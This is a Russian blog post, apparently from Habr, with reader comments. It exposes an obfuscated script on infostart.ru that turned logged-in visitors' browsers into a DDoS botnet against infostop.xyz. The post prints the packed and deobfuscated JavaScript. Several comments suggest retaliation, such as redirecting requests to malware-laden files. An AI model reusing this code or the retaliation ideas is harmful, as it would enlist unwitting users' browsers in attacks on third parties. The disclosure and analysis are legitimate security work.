С чего все началось


Появилась производственная необходимость знать, кто из сотрудников в рабочее время какие ресурсы посещает. На шлюзе стоит Debian Linux, желания (да и времени) на эксперименты и изучение чего-то нового не было, поэтому выбор сразу пал на Squid. Настроил прозрачный режим по мануалу отсюда, за что автору отдельное спасибо.

Настроено и вроде бы работает, надо проверить. Смотрю журнал:

tail -f /var/log/squid/access.log

И вижу как мой IP ломится на неизвестный мне ресурс, вызывая у меня недоумение. Причем делает это с периодичностью 1-2сек:

1460094633.574    461 Мой_IP TCP_MISS/502 839 GET http://infostop.xyz/? - ORIGINAL_DST/104.168.174.157 text/html
1460094633.869    706 Мой_IP TCP_MISS/502 839 GET http://infostop.xyz/? - ORIGINAL_DST/104.168.174.157 text/html
1460094634.195    326 Мой_IP TCP_MISS/502 839 GET http://infostop.xyz/? - ORIGINAL_DST/104.168.174.157 text/html
1460094634.463    350 Мой_IP TCP_MISS/502 839 GET http://infostop.xyz/? - ORIGINAL_DST/104.168.174.157 text/html
1460094634.676    563 Мой_IP TCP_MISS/502 839 GET http://infostop.xyz/? - ORIGINAL_DST/104.168.174.157 text/html

Решил не терять времени и попытаться выяснить, что собственно происходит…

netstat -nab
  TCP    Мой_IP:7955       104.168.174.157:80     ESTABLISHED
 [opera.exe]
  TCP    Мой_IP:8714       104.168.174.157:80     ESTABLISHED
 [opera.exe]
  TCP    Мой_IP:9152       104.168.174.157:80     ESTABLISHED
 [opera.exe]

Как оказалось это мой браузер куда-то ломится.

Мой собственный браузер, занимается чьими-то чужими делами. И без меня


infostart botnet ddos

Когда я выяснил (методом перебора), что эти запросы уходят с закладок, на которых открыт infostart.ru, степень моего недоумения выросла как минимум вдвое. Серьёзный ресурс с огромным количеством посетителей использует свою аудиторию для таких низких целей — DDoS`ить неугодные ресурсы (что дальше? Подбирать пароли? Майнить bitcoin`ы?).

Найти часть кода, отвечающую за DDos-атаку не составило труда. Грузится он в отдельном фрейме по ссылке infostart.ru/bitrix/ajax/weather.php, вместе с информером погоды. Причем сам информер погоды я не нашел на сайте (наверно плохо искал).

Собственно код, надеюсь, владельцы ресурса не предъявят мне за нарушения авторских прав:

var getweather_check = false;var g00ee9a511d3c5913f80058b457b5bde0 = true;
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('h f=["\\r\\V\\v\\W\\j\\X","\\z\\U\\v\\T\\l\\F","\\H\\z\\j\\j\\r","\\Q\\v\\H\\j\\I\\l\\j\\t\\R\\S\\Y\\Z","\\s\\16\\t\\17","\\I\\r\\15","\\F\\l\\l\\t\\P\\s\\s"];i C(){q(14===10){h o=11(13,18,K,J,N,O);h B=o[m[f[2]](m[f[0]]()*o[f[1]])];h x=f[3];h y=f[4]+B;h A=E M();h L=m[f[2]](m[f[0]]()*1f);A[f[5]]=f[6]+x+y}}1l(i(p,a,c,k,e,d){e=i(c){n c.u(19)};q(!\'\'.D(/^/,1m)){G(c--){d[c.u(a)]=k[c]||c.u(a)}k=[i(e){n d[e]}];e=i(){n\'\\\\w+\'};c=1};G(c--){q(k[c]){p=p.D(E 1p(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c])}}n p}(\'6 1=3.5("1");1.4="2",1.7="8-2",3.9("b")[0].a(1);\',12,12,\'|1g|1h|1e|1d|1a|h|1b|1c|1j|1i|1o\'.1q(\'|\'),0,{}));1n(C,1k);',62,89,'|||||||||||||||_0xd116||var|function|x6F||x74|Math|return|_0xb8e4x2||if|x72|x2F|x70|toString|x6E||_0xb8e4x4|_0xb8e4x5|x6C|_0xb8e4x6|_0xb8e4x3|getweather|replace|new|x68|while|x66|x73|2203|2219|_0xb8e4x7|Image|2178|2127|x3A|x69|x2E|x78|x67|x65|x61|x64|x6D|x79|x7A|true|Array||2264|getweather_check|x63|x3F|x3D|2252|36|createElement|content|no|name|document|1000|meta|referrer|appendChild|getElementsByTagName|2000|eval|String|setInterval|head|RegExp|split'.split('|'),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('a(2(){$.b(\'/9/1.8?\'+4 6().7(),2(3){d(3.h>0)1=e;f 1=g})},5*c*i);',19,19,'|getweather_check|function|data|new||Date|getTime|txt|dev|setInterval|get|60|if|true|else|false|length|1000'.split('|'),0,{}))

Использовать обфускацию кода, который выполняется функцией eval, по моему скромному мнению, было не самой хорошей идей. Заменяем eval на console.log, комбинируем Enter и Tab и получаем уже читаемый код (хотя лучше всего воспользоваться онлайн форматированием, например здесь):

var _0xd116 = ["\x72\x61\x6E\x64\x6F\x6D", "\x6C\x65\x6E\x67\x74\x68", "\x66\x6C\x6F\x6F\x72", "\x69\x6E\x66\x6F\x73\x74\x6F\x70\x2E\x78\x79\x7A", "\x2F\x3F\x70\x3D", "\x73\x72\x63", "\x68\x74\x74\x70\x3A\x2F\x2F"];

function getweather() {
    if (getweather_check === true) {
        var _0xb8e4x2 = Array(2264, 2252, 2219, 2203, 2178, 2127);
        var _0xb8e4x3 = _0xb8e4x2[Math[_0xd116[2]](Math[_0xd116[0]]() * _0xb8e4x2[_0xd116[1]])];
        var _0xb8e4x4 = _0xd116[3];
        var _0xb8e4x5 = _0xd116[4] + _0xb8e4x3;
        var _0xb8e4x6 = new Image();
        var _0xb8e4x7 = Math[_0xd116[2]](Math[_0xd116[0]]() * 1000);
        _0xb8e4x6[_0xd116[5]] = _0xd116[6] + _0xb8e4x4 + _0xb8e4x5
    }
}

function(p, a, c, k, e, d) {
    e = function(c) {
        return c.toString(36)
    };
    if (!''.replace(/^/, String)) {
        while (c--) {
            d[c.toString(a)] = k[c] || c.toString(a)
        }
        k = [function(e) {
            return d[e]
        }];
        e = function() {
            return '\\w+'
        };
        c = 1
    };
    while (c--) {
        if (k[c]) {
            p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
        }
    }
    return p
}('6 1=3.5("1");1.4="2",1.7="8-2",3.9("b")[0].a(1);', 12, 12, '|meta|referrer|document|name|createElement|var|content|no|getElementsByTagName|appendChild|head'.split('|'), 0, {}));
setInterval(getweather, 2000);

Из вышенаписанного видно, что скрипт каждые 2 сек. добавляет тег img, а файл картинки предлагает взять с сайта infostop.xyz. Собственно, это вся суть реализации DDoS-атаки. В переменой _0xd116 хранятся настройки.

console.log(_0xd116)
["random", "length", "floor", "infostop.xyz", "/?p=", "src", "http://"]

Адрес жертвы, протокол, ключ GET-запроса (чтобы обойти кэширование) и параметры для алгоритмов. Что наводит на мысль, что это делалось не на один раз, а с далеко идущими планами. Уверен на 99%, что у этого механизма есть консоль управления.

Во вторая строка:

setInterval(function(){$.get('/dev/getweather_check.txt?'+new Date().getTime(),function(data){if(data.length>0)getweather_check=true;else getweather_check=false})},5*60*1000);

По ней видно, что каждые 5 минут отправляется GET-запрос /dev/getweather_check.txt. Ответ на который и управляет процессом на стороне клиента. Пока ответ возвращает хоть что-то — продолжать атаковать жертву.

У неавторизированных пользователей это не работает. В DDoS-атаке участвуют только авторизированные пользователи. Я не помню, чтобы соглашался с таким. Наверное, было мелким шрифтом.

Вместо заключения


В современном мире, с современными браузерами мы становимся все менее защищенными. Любой владелец сайта может легко использовать ресурсы устройств его посетителей в своих, возможно, не всегда чистых умыслах. В погоне за личной выгодой владельцы сайтов могут легко переступить через принципы.

На фоне новой волны уведомлять посетителя, что сайт будет использовать cookie, такое поведение infostart.ru заставляет задуматься.

Дисклеймер


Не имею отношения к владельцам обоих ресурсов. Просто меня не покидает неприятное чувство, что любой владелец крупного ресурса может использовать своих добросовестных посетителей в качестве инструмента для достижения своих корыстных целей, при этом переложив ответственность на последних.

UPDATE: Сегодня утром, все партнерские ресурсы infostart, заблокированы для меня(возможно не только для меня).
Наблюдаю сообщение: «Доступ к сайту заблокирован администратором.» и какой-то номерок. Предполагаю, что этот номерок нежен для выявления меня из общей массы.
UPDATE: около 10:00 по МСК скрипт отключили.

Комментарии (70)


  1. Fen1kz
    11.04.2016 16:58
    -2

    А почему вы уверены что это инициатива infostart, а не что их сломали? или просто так удобнее острить?


    1. Fragster
      11.04.2016 17:05
      +2

      Атакуемый домен сильно подозрительный :)
      Правда у меня не работает.


      1. Ziptar
        11.04.2016 17:23

        Хабраэффект добил?:)
        http://webcache.googleusercontent.com/search?q=cache:http://infostop.xyz/

        Хотя судя по последней новости — таки инфостарт и добил.

        С виду ничем незаконным не занимаются. Собрание конфигураций да печатных форм. Вареза нет.


        1. Ziptar
          11.04.2016 17:27

          P.S. конфигурации же 1-сные, на сколько я знаю, не являются объектом защиты авторского права? Фактически лицензируется только использование оболочки и сервера бд?
          Или я не прав?


          1. Fragster
            11.04.2016 17:32

            Нет, не так.


        1. Fragster
          11.04.2016 17:31

          Ну, если посмотреть на названия «публикаций», то все со страницы кэша гугла находятся на инфостарте с датами, намного более ранними, чем на инфостопе. Вопрос в том, насколько законно владельцы инфостопа их получили и разместили. Связывались ли с авторами с инфостарта?


          1. dgr
            11.04.2016 19:00
            +3

            Безусловно это все оправдывает.


      1. GRADUSnick
        11.04.2016 17:38
        +1

        infostop размещает бесплатно обработки и конфигурации которые пользователи размещают на infostart для продажи за старт.мани (внутреннюю валюту сайта) которые кажется даже можно как-то выводить, так что смысл атаки понятен.


      1. planarik
        11.04.2016 19:00
        +4

        Infostop — сборник бесплатных обработок для 1С в противовес Infostart.
        Из кэша гугла
        «Дорогие друзья, коллеги. Сами_знаете_какой_сайт в очередной раз оценил наши усилия и организовал очередную DDoS-атаку. К сожалению наш новый сервер, на который мы вынужденно перешли из-за банкротства нашего прошлого хостера, такую нагрузку не держит „


        1. Fragster
          12.04.2016 10:46

          Пусть он будет сборником бесплатных и в противовес. Но пусть тогда материалы будут получены от авторов, а не скачаны популярные с инфостарта (при скачивании есть галочка о том, что вы не собираетесь в публичный доступ выставлять обработку)

          метод, конечно, грязный, но…


    1. AleX_gRey
      11.04.2016 21:30

      google кэш говорит, что это ресурс который размещает украденные с infostart`а закрытый контент.(информация об этом не прошла модерацию)
      http://webcache.googleusercontent.com/search?q=cache:z6PZ22cXwzUJ:infostop.xyz/+&cd=1&hl=ru&ct=clnk&gl=ru


    1. dartraiden
      12.04.2016 00:47
      +5

      А вы почитайте по ссылке на сторонний форум в коментах ниже. Там владелец сайта открыто признаётся, «да, ддосим, с плохими людьми можно делать всё, что угодно, поскольку они не защищены законом, и вообще, я бы законодательно разрешил ддосить плохих людей». Это пять, я считаю.


      1. nochkin
        12.04.2016 06:19
        +5

        И почему-то они считают нормальным ДДОСить за счёт посетителей. Уверен, многие будут не согласны если их спросить.


      1. DnD_designer
        12.04.2016 12:07
        +1

        Вот я не уверен, что используя ДДоС, да еще и за чужой счет, они сами не становятся «плохими людьми». К ним самим это применимо?


  1. redfenix
    11.04.2016 18:23
    +8

    Появилась производственная необходимость знать, кто из сотрудников в рабочее время какие ресурсы посещает.

    шифруйте свой трафик господа сотрудники…


    1. AleX_gRey
      12.04.2016 08:01

      От админа в офисе, если админ грамотный, мало что зашифруешь.


      1. ice2heart
        12.04.2016 08:19
        +1

        ssh туннель домой и трафик по нему. Самый простой и работающий почти везде способ.


        1. AleX_gRey
          12.04.2016 09:13

          а если открыты только 80 и 443, и трафик проверяется sqvidом. да и нет у вас ssh. и прав админских нет. и fs смонтирована noexec


          1. lampa
            12.04.2016 11:25
            +1

            Тогда мы работаем на секретном заводе.


          1. anonymous
            00.00.0000 00:00


            1. anonymous
              00.00.0000 00:00


              1. anonymous
                00.00.0000 00:00


    1. herr_kaizer
      12.04.2016 09:45

      ДДосить — плохо, а вот просматривать чужой трафик — хорошо, что непонятного?


      1. AleX_gRey
        12.04.2016 09:47

        как трафик организации, с рабочего ПК, в офисе, в рабочее — может быть чужим?


        1. herr_kaizer
          12.04.2016 12:20

          Эдак можно оправдать и снифф трафика в публичном WiFi.


          1. AleX_gRey
            12.04.2016 12:38

            Ораганизация платит, организация хочет знать за что


        1. anonymous
          00.00.0000 00:00


          1. anonymous
            00.00.0000 00:00


            1. anonymous
              00.00.0000 00:00


              1. anonymous
                00.00.0000 00:00


  1. dartraiden
    11.04.2016 19:00

    В современном мире, с современными браузерами мы становимся все менее защищенными. Любой владелец сайта может легко использовать ресурсы устройств его посетителей в своих, возможно, не всегда чистых умыслах.
    Поэтому защищайтесь с помощью NoScript и аналогичных дополнений для браузера.


    1. Fen1kz
      11.04.2016 19:25
      +1

      А как защищаться с помощью NoScript? Если бы я ходил на инфостарт, я бы добавил его в разрешенные сразу же.


      1. dartraiden
        11.04.2016 19:36

        Как вариант, выборочно разрешать лишь нужные скрипты, вместо разрешения всех скриптов с этого домена.
        Альтернатива — дополнения типа RequestPolicy, которые блокируют запросы контента со сторонних доменов. Скрипт бы отработал, но запрос картинки не ушёл и нагрузка на сайт-жертву не возросла.

        Ну и вообще, за такие фокусы (DDoS), конечно, нужно бить ногами.


        1. equand
          11.04.2016 21:11
          +1

          Лучший вариант делать следующее, по адресу запроса узнавать по реферреру, что пришло с инфостарта, вешать файл в 100 мегабайт рандома. Или еще веселее, вешать в даунлоад виртуального мегафайла и отдавать по байту рандома (хоть через пхп скрипт), тогда сайт будет «висеть» у пользователя, или же вечно грузиться, многие инстинктивно жмут стоп.


          1. mkdog
            12.04.2016 08:11
            +3

            Либо сделать редирект запроса на файл с кучей вирусов (на другом домене), тогда любой современный браузер при заходе на infostart.ru, сразу сбросит их страницу, и выдаст красное окно с предупреждением вида «была предотвращена попытка установки вредоносного ПО на ваш компьютер». Это отобьет охоту у посетителей пользоваться сайтом в разы быстрее, чем медленная загрузка + поисковики могут выкинут его из индекса за размещение ссылок на зараженные сайты


    1. AleX_gRey
      11.04.2016 21:36

      Согласен с вами на 100%. Ещё не так давно слишком скептически относился NoScript, но кардинально поменял своё отношение. Писать про него не стал, так как ещё не начал пользоваться.


    1. Alex_ME
      12.04.2016 00:00
      +3

      Либо я чего-то не понимаю, но сейчас практически каждый сайт используют JS, NoScript просто ломает у большинства функциональность


      1. AleX_gRey
        12.04.2016 00:02

        в этом-то и проблема использования NoScript, поэтому в своё время от него отказался.


      1. dartraiden
        12.04.2016 00:04

        Разрешать лишь те скрипты, без которых ломается функциональность. Обсуждаемый скрипт с невидимыми картинками явно к таковым не относится.


        1. AleX_gRey
          12.04.2016 00:07

          как обычному пользователю, отличить где скрипт, который ломает функциональность, а где тот который качает невидимые картинки?


          1. dartraiden
            12.04.2016 00:35

            Я это делаю методом научного тыка (разрешили скрипт, сайт не работает, запрещаем скрипт, разрешаем следующий). И на названия скриптов ещё смотрю. Обычно, на сайте 1-2 критичных скрипта, если это не какой-то суперпупернавороченный сайт. Всё остальное — аналитика, свистоперделки и прочие ненужности.


            1. AleX_gRey
              12.04.2016 08:04

              Мы с Вами не рядовые пользователи. А что делать им? Большинство картинку нормально скачать не могут.


            1. Ghool
              12.04.2016 08:59
              +2

              Я так жил годик.
              Потом надоело.
              Регулярные проблемы с функциональностью сайтов, о которой узнаёшь иногда — когда уже поздно.
              Пример:
              Покупаю билет на SkyScanner (включил скрипты на SkyScanner). Выбрал билет, нажимаю купить — меня перекидывает на сайт продавца, билет блокируется под меня, но кнопку «оплатить» не функционирует из-за отсутствия скриптов на сайте-продавце.
              Включаю скрипты на сайте-продавце, но билет уже забронирован и недоступен.
              А потом ведь перекидывает на сайт платёжной системы, и там тоже нужны скрипты и тоже сбрасывается сессия при хождении «вперёд-назад».


            1. anonymous
              00.00.0000 00:00


  1. GRADUSnick
    11.04.2016 19:58
    +2

    вообще если кому интересно, то http://www.forum.mista.ru/topic.php?id=769804&page=1 (по ссылке форум 1С-ников) есть обсуждение поведения сайта с комментариями создателя и совладельца.
    Позиция его мягко сказать у меня, например, вызвала недоумение. («Это было тестирование нового функционала, скоро предоставим его всем желающим. Согласие? А зачем?»).


    1. dartraiden
      12.04.2016 02:04
      +1

      «Мы тестировали скрипт анализа пиратского сайта на наличие авторского контента»
      «На партнерских сайтах этот скрипт не включался»
      Комментарии владельца можно хоть сейчас накладывать субтитрами на известное видео. Там что ни коммент, то огонь.

      https://habrastorage.org/files/a10/b45/4e0/a10b454e07484b08b6c32967093498a1.jpg


      1. JtHermit
        12.04.2016 10:54

        Он в комментариях уже успел обвинить автора статьи на Хабре в связи с преступниками.

        «Мы на самом деле заложили хешкод его профиля, поэтому знаем по его скриншоту на хабре, кто это делал. Мы ждали этого „вброса“ и он попался в ловушку. Сейчас нам осталось вычислить через платежную систему его личные данные.»


        1. dartraiden
          12.04.2016 10:57

          Делал что? Указал на скрипт, который отдаётся всем залогиненным пользователям?

          По-моему, «Остапа понесло» капитально.


          1. JtHermit
            12.04.2016 11:27

            Имел наглость обнаружить скрипт. Цитирую:
            «Для меня понятно, что автор этой ветки и поста на хабре как-то связаны с преступниками. У автора поста на хабре это первый пост, а здесь ветка появилась спустя всего 20 мин.
            Чтобы поймать такой скрипт, надо сначала поднять этот сайт, так как если сайт „лежит“, то скрипт на работал.»

            То, что проверку доступности атакуемого узла осуществляет сам скрипт, уважаемого «Остапа» также не смущает.


            1. dartraiden
              12.04.2016 11:33

              OMG. Да, парень такой простой… Доказательная база? Не, не слышал. Ведь для него всё понятно.


        1. xRay
          12.04.2016 11:43

          Можно ссылку на этот комментарий? Он опубликован на http://www.forum.mista.ru?


          1. JtHermit
            12.04.2016 11:47

            Да, конечно:
            http://www.forum.mista.ru/topic.php?id=769804&page=4#353


          1. GRADUSnick
            12.04.2016 11:49

            http://www.forum.mista.ru/topic.php?id=769804&page=4#353


  1. Jump
    11.04.2016 21:45

    Самое интересное что 50% инфостарта принадлежит фирме 1с.


  1. AbnormalHead
    11.04.2016 22:53
    +6

    Судя по кешу гугла сайт уже неделю лежит по ддосом. Я бы порекомендовал владельцу инфостопа поменять записи в ДНС на адреса инфостарта.


    1. dohlik
      12.04.2016 09:35
      +1

      Или тупо поставить редирект при наличии запросов с реферером инфостартовским. На какую-нить тяжелую некешируемую страницу


  1. alex-khv
    12.04.2016 08:04

    Что мешало жертве пользоваться CDN, DDoS protect сервис, коих великое множество.


    1. equand
      12.04.2016 08:37

      То, что они предоставляют скрипты бесплатно?


  1. Tarcus
    12.04.2016 09:47

    Ох не зря мир 1С начинает смотреть в сторону GitHub, туда грязные ручонки подобных «бизнесменов» не дотянутся.


    1. AleX_gRey
      12.04.2016 09:47

      Дайте время. Придумаю схемы


      1. Tarcus
        12.04.2016 10:06

        С крупным сервисом вроде GitHub гораздо сложнее что-либо сделать, чем с маленьким Infostop.
        Но согласен насчет схем, что-то в любом случае сделать попытаются.


    1. ComodoHacker
      12.04.2016 11:15

      Кстати, GitHub недавно тоже репутацию подмочил. Многие уже мигрируют на GitLab.


      1. Tarcus
        12.04.2016 11:54
        +1

        Можно ссылку на событие? Я этот момент как-то пропустил.

        Для приватных проектов по моему мнению изначально лучше иметь собственный сервер — у нас, например, как раз GitLab.


  1. DarkByte
    12.04.2016 11:14

    Довольно глупый способ ддоса, они бы ещё в iframe сайт загружали, как LOIC делает.
    HTTP 301 на сайт атакующего или лучше сразу ФСБ решает проблему без привлечения сторонних сервисов.


  1. dartraiden
    12.04.2016 11:28

    Мои madskillz. Использованы комментарии основателя и совладельца «Инфостарта» Доржи Цыденова и обычных пользователей форума mista.ru. Буду добавлять ещё по мере появления лулзов.

    https://imgur.com/a/sHFjI

    На полноценное видео с субтитрами меня посреди ночи не хватило.


  1. bonv
    12.04.2016 12:07

    Подобными делами уже промышлял ВКонтакте


    1. bonv
      12.04.2016 12:33

      https://habrahabr.ru/post/142836/


  1. anonymous
    00.00.0000 00:00